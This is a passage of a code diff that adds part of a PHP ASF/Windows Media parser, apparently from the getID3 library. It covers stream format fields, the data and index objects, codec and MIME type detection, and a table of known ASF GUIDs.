+						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);
+
+						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
+							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
+								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
+									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
+									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
+									$thisfile_video['bitrate'] += $dataarray['bitrate'];
+									break;
+								}
+							}
+						}
+
+						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);
+
+						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
+						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
+						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
+						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
+						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
+						break;
+
+					default:
+						break;
+				}
+			}
+		}
+
+		while ($this->ftell() < $info['avdataend']) {
+			$NextObjectDataHeader = $this->fread(24);
+			$offset = 0;
+			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
+			$offset += 16;
+			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
+			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8));
+			$offset += 8;
+
+			switch ($NextObjectGUID) {
+				case GETID3_ASF_Data_Object:
+					// Data Object: (mandatory, one only)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for Data object - GETID3_ASF_Data_Object
+					// Object Size                      QWORD        64              // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1
+					// File ID                          GUID         128             // unique identifier. identical to File ID field in Header Object
+					// Total Data Packets               QWORD        64              // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1
+					// Reserved                         WORD         16              // hardcoded: 0x0101
+
+					// shortcut
+					$thisfile_asf['data_object'] = array();
+					$thisfile_asf_dataobject     = &$thisfile_asf['data_object'];
+
+					$DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24);
+					$offset = 24;
+
+					$thisfile_asf_dataobject['objectid']           = $NextObjectGUID;
+					$thisfile_asf_dataobject['objectid_guid']      = $NextObjectGUIDtext;
+					$thisfile_asf_dataobject['objectsize']         = $NextObjectSize;
+
+					$thisfile_asf_dataobject['fileid']             = substr($DataObjectData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_dataobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']);
+					$thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_dataobject['reserved']           = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_dataobject['reserved'] != 0x0101) {
+						$info['warning'][] = 'data_object.reserved ('.getid3_lib::PrintHexBytes($thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"';
+						//return false;
+						break;
+					}
+
+					// Data Packets                     array of:    variable        //
+					// * Error Correction Flags         BYTE         8               //
+					// * * Error Correction Data Length bits         4               // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000
+					// * * Opaque Data Present          bits         1               //
+					// * * Error Correction Length Type bits         2               // number of bits for size of the error correction data. hardcoded: 00
+					// * * Error Correction Present     bits         1               // If set, use Opaque Data Packet structure, else use Payload structure
+					// * Error Correction Data
+
+					$info['avdataoffset'] = $this->ftell();
+					$this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data
+					$info['avdataend'] = $this->ftell();
+					break;
+
+				case GETID3_ASF_Simple_Index_Object:
+					// Simple Index Object: (optional, recommended, one per video stream)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for Simple Index object - GETID3_ASF_Data_Object
+					// Object Size                      QWORD        64              // size of Simple Index object, including 56 bytes of Simple Index Object header
+					// File ID                          GUID         128             // unique identifier. may be zero or identical to File ID field in Data Object and Header Object
+					// Index Entry Time Interval        QWORD        64              // interval between index entries in 100-nanosecond units
+					// Maximum Packet Count             DWORD        32              // maximum packet count for all index entries
+					// Index Entries Count              DWORD        32              // number of Index Entries structures
+					// Index Entries                    array of:    variable        //
+					// * Packet Number                  DWORD        32              // number of the Data Packet associated with this index entry
+					// * Packet Count                   WORD         16              // number of Data Packets to sent at this index entry
+
+					// shortcut
+					$thisfile_asf['simple_index_object'] = array();
+					$thisfile_asf_simpleindexobject      = &$thisfile_asf['simple_index_object'];
+
+					$SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24);
+					$offset = 24;
+
+					$thisfile_asf_simpleindexobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_simpleindexobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_simpleindexobject['objectsize']                = $NextObjectSize;
+
+					$thisfile_asf_simpleindexobject['fileid']                    =                  substr($SimpleIndexObjectData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_simpleindexobject['fileid_guid']               = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']);
+					$thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_simpleindexobject['maximum_packet_count']      = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_simpleindexobject['index_entries_count']       = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']);
+					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) {
+						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
+						$offset += 2;
+					}
+
+					break;
+
+				case GETID3_ASF_Index_Object:
+					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
+					// Field Name                       Field Type   Size (bits)
+					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
+					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
+					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
+					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
+					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.
+
+					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
+					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
+					// Index Specifiers                 array of:    varies          //
+					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
+					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
+																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
+																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
+																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
+																					//   Nearest Past Cleanpoint is the most common type of index.
+					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
+					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
+					// * Index Entries                  array of:    varies          //
+					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value
+
+					// shortcut
+					$thisfile_asf['asf_index_object'] = array();
+					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];
+
+					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
+					$offset = 24;
+
+					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;
+
+					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
+					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
+					}
+
+					$ASFIndexObjectData .= $this->fread(4);
+					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+					$offset += 4;
+
+					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
+					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
+						$offset += 8;
+					}
+
+					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
+					for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) {
+						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
+							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
+							$offset += 4;
+						}
+					}
+					break;
+
+
+				default:
+					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
+					if ($this->GUIDname($NextObjectGUIDtext)) {
+						$info['warning'][] = 'unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8);
+					} else {
+						$info['warning'][] = 'unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8);
+					}
+					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
+					break;
+			}
+		}
+
+		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
+			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
+				switch ($streamdata['information']) {
+					case 'WMV1':
+					case 'WMV2':
+					case 'WMV3':
+					case 'MSS1':
+					case 'MSS2':
+					case 'WMVA':
+					case 'WVC1':
+					case 'WMVP':
+					case 'WVP2':
+						$thisfile_video['dataformat'] = 'wmv';
+						$info['mime_type'] = 'video/x-ms-wmv';
+						break;
+
+					case 'MP42':
+					case 'MP43':
+					case 'MP4S':
+					case 'mp4s':
+						$thisfile_video['dataformat'] = 'asf';
+						$info['mime_type'] = 'video/x-ms-asf';
+						break;
+
+					default:
+						switch ($streamdata['type_raw']) {
+							case 1:
+								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
+									$thisfile_video['dataformat'] = 'wmv';
+									if ($info['mime_type'] == 'video/x-ms-asf') {
+										$info['mime_type'] = 'video/x-ms-wmv';
+									}
+								}
+								break;
+
+							case 2:
+								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
+									$thisfile_audio['dataformat'] = 'wma';
+									if ($info['mime_type'] == 'video/x-ms-asf') {
+										$info['mime_type'] = 'audio/x-ms-wma';
+									}
+								}
+								break;
+
+						}
+						break;
+				}
+			}
+		}
+
+		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
+			case 'MPEG Layer-3':
+				$thisfile_audio['dataformat'] = 'mp3';
+				break;
+
+			default:
+				break;
+		}
+
+		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
+			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
+				switch ($streamdata['type_raw']) {
+
+					case 1: // video
+						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
+						break;
+
+					case 2: // audio
+						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
+
+						// AH 2003-10-01
+						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);
+
+						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
+						break;
+
+					default:
+						$info['warning'][] = 'Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw'];
+						break;
+
+				}
+			}
+		}
+
+		if (isset($info['audio'])) {
+			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
+			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
+		}
+		if (!empty($thisfile_video['dataformat'])) {
+			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
+			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
+			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
+		}
+		if (!empty($thisfile_video['streams'])) {
+			$thisfile_video['resolution_x'] = 0;
+			$thisfile_video['resolution_y'] = 0;
+			foreach ($thisfile_video['streams'] as $key => $valuearray) {
+				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
+					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
+					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
+				}
+			}
+		}
+		$info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);
+
+		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
+			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
+		}
+
+		return true;
+	}
+
+	public static function codecListObjectTypeLookup($CodecListType) {
+		static $lookup = array(
+			0x0001 => 'Video Codec',
+			0x0002 => 'Audio Codec',
+			0xFFFF => 'Unknown Codec'
+		);
+
+		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
+	}
+
+	public static function KnownGUIDs() {
+		static $GUIDarray = array(
+			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
+			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
+			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
+			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
+			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
+			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
+			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
+			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
+			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
+			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
+			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
+			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
+			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
+			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
+			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
+			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
+			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
+			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
+			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
+			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
+			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
+			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
+			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
+			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
+			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
+			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
+			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
+			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
+			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
+			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
+			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
+			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
+			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
+			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
+			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
+			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
+			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
+			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
+			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
+			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
